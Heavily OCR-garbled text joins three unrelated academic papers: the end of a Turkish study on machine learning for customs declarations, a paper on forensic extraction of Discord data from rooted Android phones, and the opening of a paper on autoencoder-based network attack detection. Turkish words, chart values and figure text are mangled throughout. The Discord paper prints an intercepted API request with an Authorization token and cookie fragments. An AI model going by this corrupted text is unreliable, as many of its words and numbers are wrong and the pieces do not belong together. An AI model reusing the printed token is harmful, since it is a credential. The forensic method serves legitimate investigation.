Calisilan her iki yontemle elde edilen sonuglar tiim algoritmalarda benzer hatta birebir sayilan bagsarim degeri iretmistir.

Veri seti egitiminde ‘Train-test split” ve ‘K-Fold’ olmak iizere iki farkli yaklasim test edilmistir. Her iki yaklasimin ¢alisilan
algoritmalar iizerinden elde edilen bagarim oranlarina ait grafik Sekil 5’de gosterilmektedir. Burada da goriilecegi tizere
AdaBoost siniflandirma algoritmasi hari¢ diger siniflandirma algoritmalarinin bagsarim sonuglari birebir ortiistiigi

goriilmektedir.
e Train-Test Split e -Fold
80,00 75,84 75,63 75,83
70,00 -
71,63
60,00
50,00
40,00 34,56 EMRE
20005053 32,47 ,
20,00 26,59
10,00
0,00
Naive Bayes -  Decision Tree K-Nearest ~ Random Forest - Ridge Classifier Bagging Ada Boost ~ MLP Classifier -
NB Classifier - Neighbors - RFC -RC Classifier - BC Classifier - ABC MLPC
CART KNN

5. TARTISMA VE SONUC

Gilimriik islemlerinde beyannamelerin kusursuz yazimi ¢ok 6nemlidir. Bu ¢alisma giimriik sisteminde beyanname hazirlanirken
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yapilabilecek olast hatalarin tespiti i¢in makine 6grenme algoritmalarinin kullaniminin etkinligini ortaya ¢ikarmak ve akilli
kontrol mekanizmalarinin kurulmasina bir altyap1 olusturmak amaciyla yapilmistir. Calisma iilkemizdeki 6nde gelen Tiirkiye
dis ticaretinin yaklasik %8’lik hacminin gerc¢eklestigi uluslararasi bir lojistik bir firmanin son 12 yillik giimriik beyanname
verileri tizerinden gerceklestirilmistir. Caligmada bilinen ve bir¢ok alanda basarili bulunan makine 6grenme algoritmalarinin
etkinligi 4.005.343 adet giimriik beyanname teslim sekli verisi lizerinden test edilmistir.

Veri setinin belirlenmesinde sahada ilgili teknik kisilerin goriislerinden yararlanilarak Delphi yontemi tercih edilmistir.
Belirlenen ilk veri seti izerinden yapilan ¢aligmalarda en iyi sonug elde edilen algoritmalarda daha diisiik seviyelerde basarim
oranlari elde edilmisken sahada uzmanlarla birlikte yapilan iyilestirme ¢alismalar1 sonucunda ¢alismadaki basarim oranlarina
kadar yiikseltilmistir. Egitim ¢calismasinda Train-test split ve K-Fold yontemleri kullanilmistir. Caligmamizda kullandigimiz
veri setinin egitiminde ‘Train-test split’ yonteminden kaynakli bilinen herhangi bir olumsuzla karsilasiimamistir. Her iki
yontemin kullanilmas ile tim veriler tizerinden elde edilen sonuglar kiyaslandiginda basarim oranlarinin AdaBoost algoritmasi
harig birebir ortiistiigii goriilmiistiir. Siniflandirma algoritmalar1 bagarim oranlar1 bakimindan degerlendirildiginde ‘Decision
Tree Classification’, ‘Nearest Neighbors Classification’, ‘Random Forest Classification’ ve ‘Bagging Classification’
algoritmalarinda digerlerine gore daha basarili sonuglar elde edilmistir. Train-test split yonteminde ‘Decision Tree Classification’
(%75.69) ve ‘Bagging Classification’ (%75.70) algoritmalarinda en basarili sonug elde edilmistir. K-Fold yonteminde ise
‘Decision Tree Classification’ algoritmasi (%75.84) ve ‘Bagging Classification’ (%75.83) ile en basarili sonuglar bulunmustur.

Bu odlgekte biiyiik bir veri setinden elde edilen sonuglar yeterli seviyede basarilt bulunmustur.

Makine 6grenimi algoritmalar1 bir ¢ok alanda tahminleme yapmak i¢in kullanilmaktadir. Akademik basar1 tahmininde
6grenme yonetim sistemi log kayitlari izerinde K-En Yakin Komsuluk, Naive Bayes, Destek Vektor Makineleri, CART
Karar Agaci ve C5.0 Karar Agact siniflandirma algoritmalarinin kullanildig: calismada basarim oranlar1 %80’in iizerinde
¢ikmistir (Yavuzarslan & Erol, 2022). Calisgmamizda Karar Agaglari ve K-En Yakin Komsuluk algoritmalarinda %80 oranina
¢ok yakin sonuglara ulastik. Cok dilli duygu analizini YouTube verileri iizerinden Naive Bayes siniflandirma algoritmasi
kullanarak yapan ¢alismada basarim orani %65.56 bulunmustur (Sahinaslan ve ark., 2022). Centroid tabanli siniflayicilarin
yiiksek bagsarim gosterdigi galigmada meme kanseri teshisinde %99.04 oran1 Euclidian tabanli siniflayict ile elde edilmistir
(Take1, 2016). Makine 6grenme yontemlerinin kan vermeye elverisli donorlerin tespitinde kullanildig: caligmada Karar
Agaclari, Destek Vektor Makineleri ve K-En Yakin Komsuluk algoritmasi kullanilmis ve en basarili yontemin Destek Vektor
Makineleri oldugu sonucu bulunmustur (Karadag, 2021). Satis tahmininde makine 6grenme algoritalarini kullanan ¢alismada
en iyi r? skoru, hipertune edildikten sonra 0.9726 ile Rastgele Orman makine 6grenme algoritmasi ile tespit edilmistir (Nacar
& Erdebilli, 2021). Makine 6grenimi ile hisse senedi degerinin tahmin edildigi ¢alismada derin 6grenme modellerinden
LSTM (Long Short Term Memory) mimarisi ile %95 dogruluk orani elde edilmistir (Gavcar & Metin, 2021). Kablosuz Sensor
Aglarina dagitik servis reddi saldirilarinin makine 6grenme metotlar: kullanilarak tespit edildigi calismada tiim 6grenme
modellerinde %99.72 ile en yiiksek dogruluk orani Rastgele Orman algoritmasinda ger¢eklesmistir (Okur & Dener, 2021).
Makine 6grenmesi yontemleriyle is bagvurularinin degerlendirildigi ¢alismada artirim topluluk metodunu kullanan XGBoost
modeli en yiiksek basarim oranina sahip olmustur (Ereken & Tarhan, 2021). Makine 6grenmesi yontemleri ile otel rezervasyon
iptallerinin tahmin edildigi ¢alismada %73 dogruluk orani ile C4.5 karar agaci makine 6grenme algoritmasi en iyi sonucu
vermistir (Boz ve ark., 2018). Trol hesaplarin tespiti igin makine 6grenme algoritmalari kullanilan ¢alismada Twitter tizerinden
elde edilen 238.925 mesaj ile ¢alisilmis ve Lojistik Regresyon makine 6grenmesi algoritmasinda %93.93 ile en iyi sonuca
ulasilmistir (Erdi ve ark., 2021). Prostat kanseri timdr olusumunun makine 6grenmesi algoritmalari ile incelendigi ¢aligmada
kullanilan 7 adet siniflandirici arasinda %85.37 ile Gradyan artirma algoritmasi en basarili sonuglar1 vermistir (Aydin Atasoy
& Demir6z, 2021). Makine 6grenimi algoritmalarinin giimriik islemlerindeki etkinligini inceledigimiz ¢aligmamizda elde
ettigimiz sonuglar1 bir ¢ok alanda yapilan benzer amagli ¢alismalar 1s181nda degerlendirdigimizde siireci iyilestirme ve ileri
gdtiirme potansiyeli goriilmektedir. Inceledigimiz calismalarin cogunda bir makine 6grenmesi ile yetinilmeyip cesitli makine
o0grenme algoritmalari ile galigilip en iyi sonucu veren algoritmalar belirlenmistir. Calismamizda modelimiz iizerinde sekiz
adet makine 6grenmesi algoritmasi kullanilarak en iyi sonucu veren algoritmalar tespit edilmistir. En 1yi sonuca sahip makine
ogrenme algoritmalar1 kullanilarak olusturulacak tahminleme modelleri ile kurulacak dneri sistemiyle beyanname olusturma
stirecini hizlandiracak ve kalitesini arttiracak yeni ¢aligmalar yapilabilecektir.
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Gtuimriik sistemlerinde beyanname yaziminda makine 6grenme algoritmalariyla ulagilan veri tahminleme sonuglar1 sektoriin
stirekli gelisen ve degisen dinamik yapisi da dikkate alindiginda kabul edilebilir bir basarili diizeyindedir. Bu ¢alismada
kullanilan 6grenme algoritmalarindan elde edilen basarim oranlar1 bir yandan sektoriin bu konudaki ihtiyacini karsilama
potansiyeline sahipken diger yandan makine 6grenmesi konusunda bir¢ok yeni calismalarin yapilmasina da vesile olacaktir.
Boyle bir yontemin kullanilmasiyla her bir beyanname gonderimi 6ncesinde sistemin {iretecegi tahmin sonuglarini kullanarak
kullanicilara daha isabetli dnerilerin sunulmasi saglanacaktir. Boylece yapilacak tahminleme sonrasi diizeltilen her veri
yapilan hata oranlarini asagiya cekmeye yardimci olacaktir ve olasit birgok problemin 6niine gececektir. Bu durum operasyon
maliyetlerine ve siireglerine de olumlu yansiyacaktir. Olasi hatalarin dogurabilecegi hukuki sonuglar dahil olas1 birgok
olumsuz sonuglarin da 6niine gegilebilecektir.

Her sektor elindeki biiyiik veriyi kullanarak 6grenme temelli daha zeki sistemler, mimariler kurmak zorundadir. Dis ticaret
sektorii glimriik siiregleri de bilisim teknolojilerinin sundugu bu yeni yaklagim ve imkanlardan istifade etmelidir. Bu
caligmadan elde edilen basarim oranlar1 bu alanda ¢aligsma yapmay1 tesvik edecek seviyededir Bu yeni teknolojik bulus ve
yontemler lojistik sektoriin gelisiminde pozitif katki sunmaktadir. Glimriik beyanname olusturma siirecine destek olacak
6grenme tabanli bir kontroliin kurulmasina bu alanda basarili bulunan 6grenme algoritmalarinin katkisi biiyiik olacaktir.
Bu ¢alismada elde edilen basarili sonuglar hem sektor icin hem de makine §grenme teknolojisi bu alanda kullanim1 agisindan
Tiirkiye’de oncii olacak niteliktedir.

Tesekkiir: Caligmamizda nerilen yapinin uygulanabilirliginin test edilmesinde verdigi destekten dolay1 Barsan Global Lojistik firmasina tesekkiirlerimizi sunariz.
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ABSTRACT

Nowadays, the spread of social media in all areas of society and becoming a part of life has led to creative and
innovative changes in the fields of communication. Instant messaging applications are widely used in
communication between users around the world, and the Discord application is one of them. With the Discord
application, more than 300 million registered users benefit from many services such as gaming, messaging, and
video chat. The use of Discord by cybercriminals has also become one of the most common applications in
forensic investigations. In this study, by examining the structure of the Discord application used in Android
devices, a methodology has been presented on how to extract data and how to examine these data in terms of
forensic analysis. The proposed analysis methodology shows how communication analytics, contact information,
message information, deleted messages, group messages, how messages are extracted and how to examine these
data structures, permissions, user information, and communication protocols can be analyzed. In the results of the
study, a comprehensive analysis of the Discord application in terms of judicial reviews is presented.

Keywords: Digital Forensic, Mobile Forensics, Discord, Instant Messaging

OZ

Gliniimiizde sosyal medyanin toplumun her alaninda yayginlasarak yasamin bir parcasi haline gelmesi iletisim
alaninin yaraticilik ve yenilik¢i degisimlere yol agmistir. Diinya genelinde kullanicilar arasinda ugtan uca
iletisimde anlik mesajlasma uygulamalar1 yaygin olarak kullanilmakta ve Discord uygulamasi da bunlardan
birisidir. Discord uygulamasi ile oyun, mesajlasma, goriintiilii sohbet gibi birgok hizmetlerden 300 milyondan
fazlakayitli kullanicisi yaralanmaktadir. Bunedenle Discord uygulamasi siber suglular tarafindan da kullanilmasi
adli incelemelerde en sik karsilasilan uygulamalardan biri haline gelmistir. Bu ¢aligma Android telefonlarda
kullanilan Discord uygulamasinin yapisi incelenerek adli analiz agisindan Discord uygulamasindan elde edilen
verilerin ¢ikarilmasi ve nasil incelenebilecegini gésteren bir metodolojisi sunar. Onerilen analiz metodolojisi
iletisim analizlerini, iletisim bilgilerini, mesaj bilgilerini, silinen mesajlari, grup mesajlarini, mesaj génderme ve
alma siireclerini, veri yapisini, izinler, kullanici bilgileri, iletisim bilgileri, iletisim protokollerini nasil analiz
edilebilecegini gosterilmektedir. Calismani sonuglarindan Discord uygulamasinin adli incelemeler agisindan
kapsamli bir analiz sunulmustur.

Anahtar Kelimeler: Adli Inceleme, Adli Mobil inceleme, Discord, Anlik Mesajlasma

QOB

This work is licensed under Creative Commons Attribution-NonCommercial 4.0 International License BY NC



https://orcid.org/0000-0003-3700-4825



Digital Forensic Analysis of Discord Mobile Application on Android Based Smartphones

1. INTRODUCTION

Nowadays instant messaging programs are the most popular communication tools for smartphone users.(Nogubha et al.
2022). The most essential function is that it can exchange not only text messages, but also multimedia communications such
as image, audio, and video contents with other people regardless of distance by using smart mobile phones (Sahu 2014).
Because instant messaging services are more difficult to identify actual users than traditional communication tools, they
are also commonly employed by cybercriminals (Reust 2006). As a result, forensic analysis of instant messaging programs
has recognized as a crucial study field in mobile forensic investigations. Discord is developed so that online users may
communicate in groups for free using the servers. Another advantage of the newly created Discord servers is that they limit
the traffic density which may occur on a single channel. Discord application runs on many servers, because of that users
can chat in a variety of groups, such as online gaming platforms, education platforms, technology, and software platforms,
and also they can create and communicate through hidden groups, based on their interests. Users can communicate using
multiple usernames depending on the server they join. Furthermore, users may create their own groups and communities by
inviting people to their Discord server.

The Webhook feature is also available in the Discord application, so users can send automatic messages to the channels by
using Webhook. To engage with other platforms, the functionality can send automated messages from Discord application.
Although platforms like GitHub, CircleCI, and DataDog enable this feature, it is not available on YouTube or Facebook
(Wulanjani 2018).
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Figure 1. Discord Application Usage Rates Between 2017-2021

According to the Discord Transparency Report, which was released in the first quarter of 2019, there were over 50000 users
who were subjected to harassment, threats, and abuse (Discord 2019). As a result, 10642 users were prohibited (Igbal et al.
2021). These rates are expected to rise as the application becomes more widely used (Figure 1). Because it is more difficult
to trace the users than other programs, Discord application is extensively used for instant chat among criminals. This issue
requires a detailed check of Discord program in order to avoid and fight cybercrime. Looking over the literature has made
it clear that there are relatively few scholarly publications in this topic. Taking all of these into account, this study provides
three contributions;
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This study focuses on how to conduct forensic examination of Discord application on Android-based smart mobile phones.
*  We examined the structure and features of Discord application.

*  We proposed a method for forensic investigation of Discord application and applied analysis for detection and extraction
of messaging traffic between users. With the proposed method, it has been shown that forensic analysis can be done by
transferring Discord application data to a computer instead of performing analysis on the mobile phone with the Discord
application installed.

* Asaresult of the study, the file structure of the Discord application was analyzed, and it was seen that deleted messages
could be accessed by defining the messaging protocol. It has been proven that the obtained data can be used in forensic
analysis.

This study is organized as follows: In Chapter 2, important related studies are presented. The analysis methodology and tools
are examined in Chapter 3 and discussions are made in Chapter 4. Finally, in Chapter 5, the study ends with evolutions of

the obtained results.
2. LITERATURE REVIEW

In this section, it is briefly reviewed by focusing on some of the important studies in the field of forensic analysis of instant
messaging applications in the literature.

In courts, data analysis and forensic reports received from smartphone apps that provide instant messaging services are
accepted as acceptable evidence (Igbal et al. 2021). The information received as a result of data extraction from these
applications enables the user to be recognized and to access the contents of interpersonal communication. However, acquiring
this data and performing forensic analysis might be challenging (Kara 2015). In the literature, various analytic softwares are
utilized for forensic investigation of instant messaging systems. SQLite browser (Igbal et al. 2021), ES File Explorer (Mushcab
et al. 2015), Cellebrite UFED, and MSAB XRY are the most popular ones (Anglano et al. 2016).

In the study conducted by Anglano et al., ChatSecure application used on Android smartphones have been analyzed (Anglano
et al. 2016). In the study, they developed an experimental methodology that can decrypt the end-to-end AES-256 encrypted
database.

In a similar study, Wu et al. analyzed WeChat, an instant messaging application developed in China which can be used on
android smartphones, iPhone, BlackBerry and Windows Phone and Symbian operating system (Wu et al. 2017). As a result
of the study, they showed how to access the database of the applications, data tables, data collection ways, communication
methods, and user information.

In another study, Gregorio et al. analyzed the instant messaging mechanism in the Telegram Messenger application used on
smart mobile phones with the Windows operating system (Gregorio et al. 2017).

In a similar study, Ovens et al. examined the Kik Messenger (v9.6.0) application used on smartphones (Ovens et al. 2016).
In the study, the open source code of the application was used, and they obtained the instant messaging mechanism in a
meaningful way with database analysis. As a result of the study, they analyzed the database of the Kik messenger (v9.6.0)
application and explained the database content in detail which was installed on iOS platforms.

Anglano examined the WhatsApp Messenger application on smartphones in terms of forensic analysis (Anglano, 2014). The
study also showed that user contact information, messages (blocked, deleted), message chat history, message settings and
preferences can be accessed on Android platforms.

In another study, Akbal et al. performed a forensic analysis of the BiP Messenger application used on a smart mobile phone
with the Android platform (Akbal et al. 2020). In the study, they proposed a methodology for forensic analysis of instant
messaging service in BiP Messenger application. This proposed analysis method is compatible with the analysis methodology
used in our study. As a result of the study, they showed that forensic analysis of instant messaging applications can be done.
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3. ANALYSIS METHODOLOGY AND TOOLS

In this study, a forensic examination of the Discord application used on a smart mobile phone has been performed. In particular,
the instant messaging service used in the application, message traffic, deleted messages, user ID (identification) information,
user name, user profile picture information, and user group information were focused on. A scenario has been implemented
to obtain this data in the Discord application. After performing the scenario, the data produced by the Discord application
was taken from mobile devices and analyzed.
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Figure 2. Commonly Employed Workflow of Analysis Approach

Mobile forensic technologies such as XRY, Oxygen Forensics, and Paraben do not identify all data created by instant messaging
services (Agrawal et al. 2018). This is also true for the Discord application. In forensic investigations, this condition is viewed
as a problem. To address this issue, we presented a Discord application forensic analytical method. Figure 2 shows the
suggested analytical method, process, and system. The total project is divided into three sections.

Step 1: The Discord application was downloaded to the Android-based smartphone. The downloaded Discord application
was extracted using the ES File Explorer file manager program. In order to copy the files of the extracted Discord application
to the inspection computer, root process was applied to the smartphone.

Step 2: Before transferring the files to be analyzed to the analysis computer, the data extraction process must be performed.
Database files were obtained from the application files extracted with the ES File Explorer program. After this step, the data
obtained from the application were copied to the analysis computer.

Step 3: In the last stage, forensic examination of the Discord application is carried out. The data obtained from the Discord
application were analyzed using the SQLite program, and the results were presented as a forensic report.

The analysis computer has an Intel Core 17 8700 32GB 1TB + 256GB SSD with Windows 10 pro operating system. Samsung
Galaxy S5 brand, SM-G900FQ model with Android 6.0.1 on which the Discord application was installed, was used.
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3.1. Discord Installation and File Structure on Android Devices

Depending on the operating system of the smartphone, the Discord application can also be downloaded from the play store
or app store. It may be found on the app store at https://apps.apple.com/tr/app/discord-talk-chat-hang-out/id985746746?1=tr.
The link https:/play.google.com/store/apps/details?id=com.discord&hl=tr&gl=US was used to download the program from
the Google Play Store. On Android devices, the Discord program is saved at data/data/com.discord. Table 1 displays the
content of the Discord application’s directories and files.

In order to examine the file structure of the Discord instant messaging application, it is necessary to perform root operation
on phones with Android operating system. Rooting the Android operating system allows the user to access and modify
system files. The directories obtained as a result of rooting are shown in Figure 3.

Figure 3. The directory structure of the Discord application on the rooted device

3.2. Instant Messaging Protocol in Discord App

The Discord program is an instant chat application that is accessible for both 10S and Android smartphones. The application
recognizes the user based on their phone number. It features a verification mechanism that works by sending a verification
code to the user’s phone number and typing this code into the program. Furthermore, the contacts recorded in the phone
book of the smartphone on which the program is used are added to the application’s access list. A server may be created via
the Discord application, or it can join an existing group’s server. Voice and text messaging software are available for free on
the internet (Figure 4).

Instant chatting is handled by servers in the Discord application. Users interact by either joining pre-existing servers or
building new ones. There are two types of servers: private and public. Users can access public servers whenever they wish,
but private servers require an invitation code and can be accessed for a limited or unlimited length of time. When a user
sends a message, it is saved on Discord’s application servers. The server delivers this message several times until the receiving

device accepts it. When the message is accepted, the server sends it to the recipient.
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Figure 4. Discord application user verification process

Table 1

User Activities of Discord Application on Rooted Device

Index Name Index URL Content

user_id_cache shared prefs/com.discord preferences.xml User ID cache information

email cache privatelvar/mobile/Containers/Data/Application User email information
username_cache Users_ USERNAMEYAppData/Roaming/discordlcache Structure of user information gathering

privatelvartrnoblre/Containers/Datat Appllcatloni_UUIDJ/libraiy/
Caches

log_cache Users/USERNAMEJAppData/Roaming/Discord/local_Storager.log User log records cache

messages_cache User messaging cache information

3.3. Discord Application Network Communication Analysis

The Discord program features a user verification mechanism that confirms or validates a user’s identity. It performs a user
authentication procedure to check user information for this purpose (Figure 4).

During this process the user’s ID (ID number), user name, information about whether there is a picture in the user profile or
not, the user’s 4-digit discord-tag id (user tag), public flag information, connected accounts information, flags information,
and user information to determine if the user is in the same group are all returned in response to the verification request.
Also, it is possible to find out if the user account is Premium or not.

In addition, when a request is made, data which is encoded with base64 is sent under X-Super-Properties header. Base64
Encoding is widely used in techniques which are storing or transmitting binary data by converting it into text. When the
data encoded with Base64 are decoded, the model of the user device, operating system and version information which are
transmitted to the Discord server can be displayed. (Figure 5).

{"browser":"Discord Android”, browser_user_agent”:"Discord-Android/1423","client_build_number®; 1423, client_version":"58.13

device”:"SM-G900FQ, kitejv","0s":"Android”,"os_sdk_version™:"23","os_version™:"6.0.1","system_locale":"en-US","accZXN

Figure 5. Results of the Analysis of User Data base64 encoding Method in Discord Application
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3.4. Messaging Analysis

Discord application stores sent and received messages under the relevant directories. There are three Discord app messaging
types available. These are;

a) User-to-user messages,
b) User to server group - From server groups to user,
c) User service messages.

In terms of forensic science, the user number, chat content, and timestamp are critical when investigating the Discord
application. This request is repeated at the stages of showing the user’s incoming message, displaying the deleted message
in the user’s messaging history, and seeing the altered message once the message has been edited. Figure 6 shows the request
and answer made by the user while submitting an instant messaging request using the Discord application. When a user
wishes to send an instant message, the content of the Discord application is displayed in Figure 6.

Request

Raw \n Adions v

POST /api/vB/channels/B05887542472867680/nessages HITP/1.1

User-Agent: Discord-Android/1423

Authorization: ODAIMDMxMTclMzA3MDAxODc3.YBVTkg. Q-NIVinifBZnAmXK1TsZrAx219s

Accept-Language: en-US

¥-Super-Properties: eyJicm93c2VyIjoiRGlzY2S9yZCBBbmRybllkliwiVndvd3Nlcl9leZVyX2FnZW50Ij0iRG1zY259yZC1BbmRy
NTYZInO=

Content-Type: application/json; charset=UTF-8

Content-Length: &5

Host: discord.com

Connection: close

Accept-Encoding: gzi deflace
Cookie: _cid'nid:dd 1

oo W B

Wk = O w o -1

{

"content": "Merhaba'\n", 1
|"nonce": "812385062623379456"
"sticker_ids": [

2

Figure 6. The Request and Response of the User in Sending a Message in the Discord Application

In this section, we observe (1) the content of the message sent by the user and (2) the procedure of the message as it is
transmitted to the server. The value Nonce (“Number Only Used Once”) is delivered to the server with the message. The
nonce value is a one-time use numeric number. This number is used in IM apps, authentication protocols, and encryption
hash (digest validation value) functions.

Users communication actions are saved in “messages” and “server-groups”. In the message event, you may access all data
relating to the message’s content, registered contacts, date and time, and contact information. Past communications or deleted
message information may also be viewed using the Discord application. Because prior communications information is

requested, a request is made in the Discord program, as seen in Figure 7.
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Request

Pretty IGEI'M \n  Actions v

pET Japi/vB/channels/B05BB7542472867880/nessages? linit=50 HTTP/1.1
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Host: discord.com

Connection: close

Accept-Encoding: gzip, deflate

Cookie: _ cfduid=d
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Figure 7. Request Information by Application to Display Messaging Information

When it is desired to access the past or deleted messaging information, a request is made to the server where the messaging
history is located. As a result of the request, the messaging is opened on the server where the history is located. As can be
seen in Figure 7, the directory “cookie: cfduid:d” has been reached. In addition, it has been determined that the data kept
on the server changes when the message is edited or deleted.

4. DISCUSSIONS

The structure of the Discord application used on Android-based mobile phones was investigated in this study, and it was
described how to extract and evaluate the data collected from the Discord program in terms of forensic analysis. The user’s
contact information, sent/received message information, deleted messages, in-group messaging information, and communication
protocols were all thoroughly examined in the Discord application. This information, which is particularly obtained for the

Discord application, is critical in terms of forensic computing.

Barbaros et al. in their study examined the messaging application of the Discord application in android-based operating
systems in terms of forensics with paid analysis tools (Barbaros et al. 2019). This study has two important shortages. The
study is that the discord application focuses only on the messaging application, and the software used in the analysis is paid
only for private users (such as police and military forces). In this study, it shows a comprehensive file-directory structure
and network communication analysis in addition to the instant messaging application in the discord application on android-
based operating systems. Since a paid analysis tool is not used in the proposed analysis method, it is important that it can be
repeated by researchers and used in different applications.

On the other hand, forensic analysis of instant messaging applications has some difficulties. Since these applications, which
are widely used today, contain their own special file structure, the forensic analysis approach of each application may contain
differences. In addition, due to the storage methods and access limits of the user’s messaging content of some applications,
especially accessing and analyzing deleted data is insufficient.

Knowing the structure of the instant messaging application, what the application file contents consist of and in which areas

they are kept will facilitate the examination in forensic analysis.
5. RESULTS

Forensic mobile investigations are defined as the study and reporting of digital evidence related to a crime in a form that

may be utilised in legal proceedings. While evolving, technology drives the development of numerous apps, particularly in
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the field of mobile communication. The fact that these programs have their own file formats complicates forensic investigations.
Forensic specialists’ capacity to access and correctly analyze the file structures of mobile applications is critical for achieving
speedier outcomes in legal procedures.

In this study, an Android-based mobile phone with Discord application was analyzed and evaluated in terms of forensic
computing. In terms of forensic computing, knowing what the file structure and contents of the Discord application are,
especially where information such as messaging service, message traffic, deleted messages, user’s information, user name,
and user profile are kept will facilitate investigations.

Discord application analysis, which has a small number of publications in the literature in this field, has focused especially
on the messaging application. In addition, in the studies, Discord application analyzes were examined with forensic methods
on mobile devices. In this study, in addition to the messaging application of the Discord application, the forensic analysis of
the messaging protocol, File Structure, and Network Communication analysis, which is important in forensic investigations,
is presented. As a result of the study, the file structure of the Discord application was analyzed, and it was seen that deleted
messages could be accessed by defining the messaging protocol.

Forensic analyzes on mobile devices involve some difficulties. In general, for crimes that can be committed through messaging
and file sharing on a mobile phone with the Discord application, which is the subject of crime in forensic investigations,
evidence is collected only from mobile devices at hand. In this study, it has been shown that evidence can be obtained from

the examinations made by downloading Discord application data to the computer in accordance with forensic standards.

This situation is seen as an issue that should be evaluated because it can be an alternative to the examination difficulties on
mobile devices (such as new security mechanisms, password, PIN code, PUK code, screen pattern, biometric lock (fingerprint)
security policies, new features, or changes in the operating system’s data storage) that forensic experts frequently encounter.
Finally as a result, the proposed method is thought to be an alternative to forensic examination on mobile devices.
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ABSTRACT

The effects of attacks on network systems and the extent of damages caused by them tend to increase every day.
Solutions based on machine learning algorithms have started to be developed in order to develop appropriate
defense systems by detecting attacks in a timely and effective manner. This study focuses on detecting abnormal
traffic on networks through deep learning algorithms, and a deep autoencoder model architecture that can be used
to detect attacks is recommended. To this end, an autoencoder model is first obtained by training the normal
dataset without class labels in an unsupervised manner with an autoencoder, and a threshold value is obtained by
running this model with small size test data with normal attack observations. The threshold value is calculated as
a value that will optimize the model performance. It is observed that supervised learning methods lead to
difficulties and cost increases in the detection of cyber-attacks and the labeling process. The threshold value is
calculated using only small test data without resorting to labeling in order to overcome these costs and save time,
and the incoming up-to-date network traffic information is classified based on this threshold value.

Keywords: Deep learning, Autoencoders, Unsupervised learning

0z

Ag sistemlerine yapilan saldirilarin etkisi ve olusturdugu hasarlarin boyutu giin gectikge artis egilimi
gostermektedir. Saldirilar1 zamaninda ve etkin bicimde tespit ederek uygun savunma sistemleri gelistirmek tizere
makine 6grenmesi algoritmalarina dayali ¢6ziimler gelistirilmeye baslanmistir. Bu ¢aligsma, aglara yonelik
anormal trafigin derin 6grenme algoritmalar1 yardimiyla belirlenmesi izerine odaklanmakta ve saldirilarin
tespit edilmesinde kullanilabilecek bir derin otokodlayici model mimarisi onerilmektedir. Bu amagla dnce
otokodlayici ile sinif etiketleri olmayan normal veri kiimesi denetimsiz bigimde egitilerek bir otokodlayict model
elde edilmekte, bu model normal saldir1 gézlemlerine sahip kiigiik boyutlu bir test verisiyle birlikte ¢alistirilarak
bir esik deger elde edilmektedir. Esik deger, model performansini optimum kilacak bir deger olarak
hesaplanmaktadir. Denetimli 6grenme yontemlerinin, siber saldirilarin tespit edilmesinde, etiketleme isleminin
zorluklara ve maliyet artiglarina neden oldugu gozlemlenmektedir. Bu maliyetleri asmak ve zaman kazanmak
icin etiketlendirme islemine basvurmadan sadece kiigiik bir test verisini kullanarak esik deger hesaplanmakta ve
yeni gelen bir giincel ag trafik bilgisi bu esik degere gore siniflandiriimaktadir.

Anahtar Kelimeler: Derin 6grenme, Otokodlayicilar, Denetimsiz 6grenme
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Detection of Attacks in Network Traffic with the Autoencoder-Based Unsupervised Learning Method

1. INTRODUCTION

Nowadays, many types of attacks that threaten existing network systems are known, and appropriate defense methods are
suggested. It is considered an effective way to investigate whether there is an anomaly in the traffic flow in order to reveal
whether there is an attack against the network. Such anomaly detections are based on the belief that malicious behavior
differs from typical user behavior. The behaviors of abnormal users that are different from standard behaviors are also
considered an intrusion (Khraisat & Gondal, 2019).

With regard to attacks on networks, it is possible to talk about two concepts such as “intrusion detection systems” and
“intrusion prevention systems.” The intrusion detection system passively monitors attacks and performs warning services.
On the other hand, intrusion prevention systems try to stop the threat encountered and its effects. Since network attacks
evolve continuously and in a way to become more dangerous, it is necessary to develop new defense models in order to

prevent them effectively.

Unknown types of attacks are also referred to as zero-day attacks. In particular, it is important to detect zero-day attacks in
a timely and accurate manner. It is observed that deep learning technologies are used to detect such attacks effectively (Gao
& Ma, 2020). Deep learning technology has a very high ability to learn complex systems, patterns, details, and behaviors.
Deep learning technologies are appropriate solutions that can be used to distinguish between normal traffic and network
attacks detected as abnormal behaviors (Minsky & Doitshman, 2018).

Traditional attack detection algorithms do not perform well in detecting zero-day attacks. It is recommended to use autoencoders
aimed at setting threshold values in order to detect such zero-day attacks with high accuracy (Aygun & Yavuz, 2017; Roshan.
& Zafar). Deep autoencoders, among the deep learning technologies, are considered “unsupervised deep learning” algorithms.
Since these algorithms can detect zero-day attacks instantly (Dutta & Pawlicki, 2022) and largely reduce the labeling process,
they are considered an important tool for detecting attacks on the network (Song & Hyun, 2021). It has been observed that
deep learning autoencoders can perform successfully in imbalanced datasets where the number of normal samples is much
higher than the abnormal ones (He & Wang, 2021).

In this study, a deep autoencoder model architecture is recommended to detect network attacks in imbalanced datasets. It is
aimed to determine the threshold value by applying this model, which is trained with unlabeled data, to another dataset and
to use this threshold value as a classification tool in other datasets. In the designed system, no expert is needed to label the
network traffic or to occasionally update the model, and there is a self-learning unsupervised model.

2. MATERIALS AND METHODS

Autoencoding methods, a sub-application of deep neural networks, can be used to detect, analyze, and interpret attacks on
networks and develop solutions for them.

2.1. Deep neural networks

A multi-layer neural network, in other words, a deep neural network, consists of interconnected neurons that form a neural
structure. As seen in Figure 1, it consists of many hidden layers along with input and output layers. The hidden layer consists
of neurons, and these neurons are connected with each other and with input and output layers. Deep learning networks are
constructed from as many hidden layers and neurons as needed (Chollet, 2019). The input layer is the first layer of artificial
neural networks. Data inputs are made through this layer. The relevant datasets are read to the network through this layer in
the form of rows. The attributes of the dataset are arranged in order as xx, xx,, ... , xxn. Each of the input elements at the
first stage is connected with all the neurons in the first row of the hidden layers. Hidden layers process the data from the
input layer and transfer it to the next hidden layer elements.

In artificial neural networks, each connection has a weight. These weights form the basis of artificial neural networks. These
weights determine the relationships between the inputs and outputs of the network. The inputs and outputs of a neuron are

Acta Infologica 200



Ozkan, Y.

calculated consecutively. This calculation process is the “forward propagation™ stage. The data to be transferred from the
input layer to the output layer are calculated with the help of the “aggregation function.” At the forward propagation stage,
the net input value is calculated by adding the input value for each neuron after multiplying the network connection weights.

As seen in Figure 2, a neuron consists of input and output connections. A bias input can also be added to the net input function.

The net input value is calculated with an activation function, and the output of the relevant neuron is obtained (Oztemel,
2020).

Input Output
layer l Hidden layers ,  layer

Figure 1. Deep learning model

An activation function in the neural network defines how the weighted sum of the input is converted into an output. The
selection of the activation function significantly affects the capacity and performance of the neural network, and different
activation functions can be used in different parts of the model. Activation functions should also typically be able to calculate
the first-order derivative for a given input value. This property is required for the backpropagation stage in order to update
